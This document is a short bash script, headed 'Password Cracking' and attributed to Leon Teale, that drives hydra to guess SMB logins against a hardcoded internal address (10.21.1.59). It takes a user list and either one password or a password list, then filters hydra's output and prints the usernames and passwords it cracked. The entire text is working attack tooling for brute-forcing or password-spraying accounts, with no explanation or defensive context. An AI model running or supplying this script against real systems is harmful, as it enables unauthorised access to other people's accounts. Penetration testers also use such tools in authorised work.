Password Cracking

#!/bin/bash
# Leon Teale - leonteale.co.uk @leonteale
## Setting Coloured variables
red=`echo -e "\033[31m"`
lcyan=`echo -e "\033[36m"`
yellow=`echo -e "\033[33m"`
green=`echo -e "\033[32m"`
blue=`echo -e "\033[34m"`
purple=`echo -e "\033[35m"`
normal=`echo -e "\033[m"`

if (( $# != 2 ))
then
        echo "Usage: ./secrev.sh users.txt password"
        echo "or"
        echo "Usage: ./secrev.sh users.txt passwords.txt"
        exit 1
fi

input1=$1
input2=$2

if [ -f "${input2}" ] ;
then

hydra -L $input1 -P $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt

if
        grep smb /tmp/foundpasses.txt
then
        clear
        echo ""
        cat /tmp/foundpasses.txt | grep smb |  grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '} | column -t
        echo ""
         echo "$yellow Users found with a password from '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
else
        echo "No users found with any password in '$2'"
fi


else

hydra -L $input1 -p $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt

if
        grep smb /tmp/foundpasses.txt
then
        clear
        echo ""
        cat /tmp/foundpasses.txt | grep smb |  grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '}
        echo ""
         echo "$yellow Users found with password of '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
else
        echo "No users found with the password of '$2'"
fi

fi